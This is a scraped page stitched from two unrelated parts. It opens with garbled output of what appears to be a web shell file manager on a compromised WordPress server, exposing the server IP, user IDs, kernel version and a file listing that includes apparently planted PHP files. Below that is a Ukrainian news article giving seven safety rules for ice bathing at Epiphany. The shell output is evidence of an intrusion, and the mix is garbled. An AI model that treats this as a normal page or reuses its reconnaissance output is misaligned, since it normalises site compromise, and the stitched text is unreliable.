195.16.88.9 - Linux - whoami(krist287) - uid(1574) gid(1676)
kaylin

·

ϴΪ
ϼĿ¼ʱ޸ʱ
_.well-knownɾ 07552022-08-14 13:56:182022-04-19 08:48:45-
_ldɾ 07552022-08-14 13:54:002022-04-18 21:30:13-
_puɾ 07552022-08-14 13:54:032022-04-19 06:15:13-
doskaɾ 07552022-08-14 13:56:192022-05-13 00:21:36-
gboɾ 07552022-08-14 13:54:032022-04-21 16:29:19-
katalogɾ 07552022-08-14 13:54:032022-05-13 00:20:58-
nailɾ 07552022-08-14 13:54:062022-06-17 13:21:44-
testɾ 07552022-08-14 13:54:032022-04-18 15:34:19-
wakenɾ 07552022-08-11 02:53:342022-08-11 02:53:34-
wp-adminɾ 07552022-08-14 13:54:032022-04-18 17:42:42-
wp-contentɾ 07552022-08-14 15:37:162022-08-14 15:37:16-
wp-includesɾ 07552022-08-14 13:54:062022-04-18 17:42:24-
.htaccess 06442022-08-14 13:54:062022-06-30 09:23:1921.22 K
Damiendep 06442022-08-11 03:43:202022-08-11 03:43:209.20 K
backup.php 06442022-08-13 13:42:572022-08-13 13:42:57772 B
fibber.php 06442022-08-11 01:48:402022-08-11 01:48:4016.68 K
google5f28cd50ed83a936.html 06442022-08-14 13:54:032022-04-24 10:15:3853 B
index.php 06442022-08-14 15:37:162022-04-18 20:09:52405 B
license.txt 06442022-08-14 13:56:192022-04-18 20:09:5219.45 K
readme.html 06442022-08-14 13:54:062022-04-18 20:10:487.26 K
robots.txt 06442022-08-11 03:34:222022-08-11 03:34:22193 B
tmp.php 06442022-08-13 13:44:442022-08-13 13:44:44761 B
wp-activate.php 06442022-08-14 15:19:512022-04-18 20:09:527.00 K
wp-blog-header.php 06442022-08-14 13:55:502022-04-18 20:09:52351 B
wp-comments-post.php 06442022-08-14 13:54:062022-04-18 20:10:362.28 K
wp-config-sample.php 06442022-08-14 13:54:002022-04-18 20:10:482.93 K
wp-config.php 06442022-08-14 13:56:112022-04-18 20:09:523.69 K
wp-cron.php 06442022-08-14 15:36:522022-04-18 20:09:523.85 K
wp-links-opml.php 06442022-08-14 13:56:152022-04-18 20:09:522.44 K
wp-load.php 06442022-08-14 15:29:382022-04-18 20:09:523.81 K
wp-login.php 06442022-08-14 15:34:502022-04-18 20:09:5246.79 K
wp-mail.php 06442022-08-14 15:08:032022-04-18 20:09:528.38 K
wp-settings.php 06442022-08-14 13:54:062022-04-18 20:10:3622.49 K
wp-signup.php 06442022-08-14 15:08:562022-04-18 20:09:5231.21 K
wp-trackback.php 06442022-08-14 15:04:152022-04-18 20:09:524.64 K
wp.php 06442022-08-11 01:49:212022-08-11 01:49:21453 B
xmlrpc.php 06442022-08-14 15:30:512022-04-18 20:09:523.16 K
Ŀ¼[12] - ļ[25] - [0755]
Linux sr47.hostlife.net 3.10.0-962.3.2.lve1.5.49.el6h.x86_64 #1 SMP Thu Mar 4 07:40:03 EST 2021 x86_64
Apache/2
Правила купання на Водохреща – Це Бориспіль
loader image
- Юна Українка подарувала Бориспільським кінологам «крилату конячку» яка виконує бажання. Днями, співробітники Кінологічного центру поліції Борисполя, які разом із ЗСУ та ТРО боронять рубежі Броварів, отримали цінний подарунок. Про це повідомляє прес-служба Кінологічного центру поліції в Київській області. Для наших відважних воїнів юна українка намалювала ліс, мирне небо та крилату конячку. За словами художниці, лоша здатне виконувати бажання. Варто лише доторкнутися до нього та подумати про те, чого хочеться найбільше. Картину юної мисткині передали на місце дислокації оборонців Берегині-волонтерки, які вже тривалий час докладають надлюдських зусиль аби забезпечувати воїнів усім необхідним. За бажанням авторки витвір потрапив саме до поліцейських кінологів. -
Меню Закрити

Правила купання на Водохреща

/ 5. оценок:

Оценок пока нет. Поставьте оценку первым.

Якщо ви наважилися скупатися в ополонці на Водохреща, вам необхідно знати декілька правил, щоб купання було на благо.

1. Ви повинні бути впевнені, що у вас немає медичних протипоказань

Якщо ви вже наважилися на те, щоб скупатися в ополонці, у вас не повинно бути ніяких гострих захворювань. Інакше купання в крижаній воді посилить хворобу.
По-перше, купатися в ополонці категорично заборонено тим, хто хворий різними інфекційними захворюваннями, такими як грип, бактеріологічними захворюваннями – запалення дихальних шляхів, цистит та інші хвороби простудного характеру. Не варто ризикувати людям з хворобами опорно-рухового апарату. Також не рекомендується купатися тим, хто страждає серцево – судинними захворюваннями, а також венеричними.

2. Виберіть відповідне місце для купання

Головне – це безпечне місце для водохресних купань. Зазвичай для цього є спеціально обладнані місця в кожному місті. Глибина купелі не повинна перевищувати 1 м 80 см. Ніколи не купайтеся в підозрілих водоймах!

3. Правильно зберіть екіпіровку

Вам знадобляться: купальник або плавки, махровий банний рушник, вовняні шкарпетки, в яких буде зручно йти по льоду, комплект сухого теплого одягу.
Можете захопити з собою термос з гарячим чаєм – щоб зігрітися після купання.

4. Перш ніж зайти у воду – розігрійтеся

Для цього підійдуть легкі фізичні вправи – робіть нахили, махайте руками, присідайте.
Головне – не перестарайтеся. Якщо ви будете розпалені до сьомого поту, то занурившись різко в крижану воду, можете застудитися.

5. Купайтеся без фанатизму

Найчастіше, занурившись у воду, людина відчуває різкий прилив енергії, ейфорію, і затримується в ополонці досить довго. Це помилка, яка може привести до серйозних наслідків. Достатньо лише 3 рази зануритися – за церковною традицією.

6. Ніякого алкоголю до купання

Пам’ятайте, що «прийняти на груди» – це не кращий спосіб уберегтися від переохолодження. Це погана ідея.

7. Зігрійтеся

Як тільки вилізли з крижаної води, гарненько розітріть рушником. Далі потрібно надіти сухі шкарпетки і взутися. Зніміть мокрий купальник, надіньте суху білизну і теплий одяг. Ось тепер можна випити гарячого чаю.

Переглядів:: 5
Share on facebook
Share on telegram
Share on twitter
guest
0 коментарiв
Межтекстовые Отзывы
Посмотреть все комментарии
Авторизація
*
*
Реєстрація
*
*
*
Пароль не введено
*
Генерація паролю
0
Оставьте комментарий! Напишите, что думаете по поводу статьи.x
()
x